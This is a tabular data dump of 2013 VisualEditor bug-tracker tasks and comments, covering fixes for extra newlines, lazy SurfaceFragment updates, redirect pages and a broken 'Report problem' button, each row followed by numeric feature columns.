210561,VisualEditor: Double-click to overwrrite is broken,What browser/version are you using? I cannot reproduce in Chrome/Mac or Firefox/Mac - see http://ve-change-marking.instance-proxy.wmflabs.org/srv/mediawiki/index.php?title=Test&diff=45&oldid=44 for a successful run. (Or maybe the code got fixed between the report and my looking at it?),,,1366331132,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qwln7sdc2jjjjhdroshx,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,18.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,9.0,9.0,4.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.422222222222222,0.8888888888888888,What browser/version are you using? I cannot reproduce in Chrome/Mac or Firefox/Mac - see URL for a successful run. (Or maybe the code got fixed between the report and my looking at it?)
49373,VisualEditor: Round-tripping failure - Extra newline added at end of body,"When loading a page into VE and exporting it again with a minor edit, an extra newline is added at the end. This shows up as a diff in the DOM, and will result in an extra newline in the serialized wikitext.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366312920,1368557767.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-akpipntp36njlfgkew56,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,9.0,2.0,3.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,3.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,3.0,0.0,0.0,0.0,3.71875,0.671875,"When loading a page into VE and exporting it again with a minor edit, an extra newline is added at the end. This shows up as a diff in the DOM, and will result in an extra newline in the serialized wikitext.

--------------------------
**Version**: unspecified
**Severity**: normal"
209434,VisualEditor: Round-tripping failure - Extra newline added at end of body,"(In reply to comment #3)
> This might be fixed by bug 48344.
It most probably is, yes (bug 48344 is only fixed when selser is on, but it's on in production so that's fine). Closing this bug unless and until someone can get a newline to show up again.",,,1368557767,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,False,,,-7,,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,18.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,5.0,4.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,4.0,0.0,4.0,18.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,3.2142857142857144,0.8035714285714286,"(In reply to comment #3)
QUOTE
It most probably is, yes (bug 48344 is only fixed when selser is on, but it's on in production so that's fine). Closing this bug unless and until someone can get a newline to show up again."
209430,VisualEditor: Round-tripping failure - Extra newline added at end of body,This might be fixed by bug 48344.,,,1368552325,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,This might be fixed by bug 48344.
209425,VisualEditor: Round-tripping failure - Extra newline added at end of body,"Eh, disregard that link- belongs to bug 47419.",,,1366388820,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,"Eh, disregard that link- belongs to bug 47419."
209418,VisualEditor: Round-tripping failure - Extra newline added at end of body,Example edit: https://en.wikipedia.org/w/index.php?title=User:Fluffernutter/Kinne&curid=37842561&diff=551148728&oldid=551148307,,,1366388778,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Example edit: URL
49343,VisualEditor: Lazy-update SurfaceFragment,"For performance reasons, we should lazy-update SurfaceFragments rather than updating them through a transact event handler.

The performance problem occurs when you create a bunch of fragments, then throw them away. The fragments are never actually destroyed, if only because the surface still has references to them because of the event binding. The discarded fragments continue to receive events about transactions and update themselves in response, but no one is using them any more.

Instead, I propose the following:

* The surface should have an ordered array of [transaction, direction] pairs that tracks everything that has ever been applied. This is not the same as the undo/redo stacks: this particular array is append-only
* Every SurfaceFragment has a property indicating which transaction (by index in the big array) is the last one that it knows about
* SurfaceFragments do not listen for transact events
* Instead, every time getRange() is called, the fragment asks the surface whether there are new transactions (with indices greater than the stored index), and if so it translates its range for them
** For this to work, all internal uses of this.range need to be changed to this.getRange()

This'll make the fragment lazy-update its range, and we won't spend any time updating fragments that aren't being used.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366245060,1366656030.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-g5zcpdywgfveewvgyndn,task_description,resolved,True,c1,1,False,False,True,-11,,1.6666666666666667,0.3333333333333333,0.0,1.6666666666666667,1.3333333333333333,4.333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,2.0,1.0,0.0,0.6666666666666666,0.3333333333333333,1.0,0.3333333333333333,6.0,9.666666666666666,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,7.333333333333333,1.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,2.0,0.0,4.333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,14.666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,6.333333333333333,3.6666666666666665,5.666666666666667,2.0,1.3333333333333333,10.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.666666666666667,9.666666666666666,0.6666666666666666,0.0,0.0,0.0,4.666666666666667,0.0,2.0,1.3333333333333333,2.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,4.290322580645161,0.7383512544802867,"For performance reasons, we should lazy-update SurfaceFragments rather than updating them through a transact event handler.

The performance problem occurs when you create a bunch of fragments, then throw them away. The fragments are never actually destroyed, if only because the surface still has references to them because of the event binding. The discarded fragments continue to receive events about transactions and update themselves in response, but no one is using them any more.

Instead, I propose the following:

* The surface should have an ordered array of [transaction, direction] pairs that tracks everything that has ever been applied. This is not the same as the undo/redo stacks: this particular array is append-only
* Every SurfaceFragment has a property indicating which transaction (by index in the big array) is the last one that it knows about
* SurfaceFragments do not listen for transact events
* Instead, every time getRange() is called, the fragment asks the surface whether there are new transactions (with indices greater than the stored index), and if so it translates its range for them
** For this to work, all internal uses of this.range need to be changed to this.getRange()

This'll make the fragment lazy-update its range, and we won't spend any time updating fragments that aren't being used.

--------------------------
**Version**: unspecified
**Severity**: normal"
207909,VisualEditor: Lazy-update SurfaceFragment,Now merged.,,,1366656030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g5zcpdywgfveewvgyndn,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged.
207904,VisualEditor: Lazy-update SurfaceFragment,Related URL: https://gerrit.wikimedia.org/r/60256 (Gerrit Change I9e9818da1baa8319a3002f6d74fd1aad6732a8f5),,,1366630459,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g5zcpdywgfveewvgyndn,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I9e9818da1baa8319a3002f6d74fd1aad6732a8f5)
207898,VisualEditor: Lazy-update SurfaceFragment,Trevor is adding a bunch of .destroy() calls to SurfaceFragment uses to mitigate the problem. These should be removed once this is implemented.,,,1366245134,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-g5zcpdywgfveewvgyndn,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,11.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.481481481481482,0.8888888888888888,Trevor is adding a bunch of .destroy() calls to SurfaceFragment uses to mitigate the problem. These should be removed once this is implemented.
49329,VisualEditor: Refuse to load for pages which are redirects,"In advance of fixing bug 47328 (which will probably be after the July release), we need to prevent the broken behaviour outlined by C. Scott in bug 47328 comment 1 - so just refuse to load on a page which is a redirect?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=47328",High,80.0,1366224540,1368884901.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-yop2zgg7fofkoppm6y4x,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,1.0,11.0,4.0,1.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,3.546666666666667,0.7066666666666667,"In advance of fixing bug 47328 (which will probably be after the July release), we need to prevent the broken behaviour outlined by C. Scott in bug 47328 comment 1 - so just refuse to load on a page which is a redirect?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
207038,VisualEditor: Refuse to load for pages which are redirects,Merged; will go out with wmf5.,,,1368884901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf5.
207030,VisualEditor: Refuse to load for pages which are redirects,Related URL: https://gerrit.wikimedia.org/r/64275 (Gerrit Change I68836156c35c796aa2156c382992b0c105ae34cf),,,1368789913,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I68836156c35c796aa2156c382992b0c105ae34cf)
207022,VisualEditor: Refuse to load for pages which are redirects,"(In reply to comment #3)
> It seems like it would be trivial to check whether the page is a redirect and
> simply disable VisualEditor if so. I'm adding the ""easy"" keyword to this bug.

It gets a bit trickier if the page does not yet exist, though.",,,1368665165,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,4.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.0,0.9285714285714286,"(In reply to comment #3)
QUOTE
QUOTE

It gets a bit trickier if the page does not yet exist, though."
207017,VisualEditor: Refuse to load for pages which are redirects,"It seems like it would be trivial to check whether the page is a redirect and simply disable VisualEditor if so. I'm adding the ""easy"" keyword to this bug.",,,1368574217,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,9.0,6.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,15.0,3.0,0.0,6.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.735294117647059,0.8823529411764706,"It seems like it would be trivial to check whether the page is a redirect and simply disable VisualEditor if so. I'm adding the ""easy"" keyword to this bug."
207012,VisualEditor: Refuse to load for pages which are redirects,"(In reply to comment #1)
> For me, if you tried to edit a redirect page, it loads with the redirected
> page.

Yes, this is current behaviour from Parsoid that will be fixed by fixing bug 47328, but that will leave users with a very confusing blank page. That is why I made this bug. :-)",,,1366384860,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,2.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,14.0,2.0,2.0,10.0,0.0,2.0,0.0,2.0,6.0,2.0,4.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4705882352941178,0.8235294117647058,"(In reply to comment #1)
QUOTE
QUOTE

Yes, this is current behaviour from Parsoid that will be fixed by fixing bug 47328, but that will leave users with a very confusing blank page. That is why I made this bug. :-)"
207005,VisualEditor: Refuse to load for pages which are redirects,"**dayuloli** wrote:

For me, if you tried to edit a redirect page, it loads with the redirected page.",,,1366371378,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.1481481481481484,0.8148148148148148,"**dayuloli** wrote:

For me, if you tried to edit a redirect page, it loads with the redirected page."
49319,"VisualEditor: Fix ""Report problem"" button, broken by IVStore change","In ve.init.mw.Target.prototype.reportProblem, we pass an HTMLDocument to getDataFromDom(), but this function now takes two parameters, with the IVStore coming first, so it fatals with ""doc is undefined"".

In addition to passing in a store, we'll also need to expand the returned data before transmitting it, per bug 47318.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366215060,1366652317.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-66lb2jf7kuruqajpygry,task_description,resolved,True,c1,1,False,False,True,-11,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,1.0,4.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,9.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,5.0,13.0,4.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.2439024390243905,0.6951219512195121,"In ve.init.mw.Target.prototype.reportProblem, we pass an HTMLDocument to getDataFromDom(), but this function now takes two parameters, with the IVStore coming first, so it fatals with ""doc is undefined"".

In addition to passing in a store, we'll also need to expand the returned data before transmitting it, per bug 47318.

--------------------------
**Version**: unspecified
**Severity**: normal"
232502,"VisualEditor: Fix ""Report problem"" button, broken by IVStore change",This is now merged.,,,1366652317,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-66lb2jf7kuruqajpygry,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This is now merged.
232496,"VisualEditor: Fix ""Report problem"" button, broken by IVStore change",Related URL: https://gerrit.wikimedia.org/r/59642 (Gerrit Change I761523d22e51ac560e37ae991d01a6b84224ca40),,,1366216629,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-66lb2jf7kuruqajpygry,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I761523d22e51ac560e37ae991d01a6b84224ca40)
49318,VisualEditor: Provide a way to expand data using an IVStore for transmission over the wire,"

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366214880,1367017070.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-u4ghwr7nh5cniopiuid3,task_description,resolved,True,c1,1,False,False,True,-11,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
232442,VisualEditor: Provide a way to expand data using an IVStore for transmission over the wire,Related URL: https://gerrit.wikimedia.org/r/60925 (Gerrit Change I4819cf06d1bd0ae4f8b896052e278ca75c9551bf),,,1366925797,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4ghwr7nh5cniopiuid3,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I4819cf06d1bd0ae4f8b896052e278ca75c9551bf)
49297,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,"We're cloning html/data-parsoid which Subbu tells me messes with selser correctness

--------------------------
**Version**: unspecified
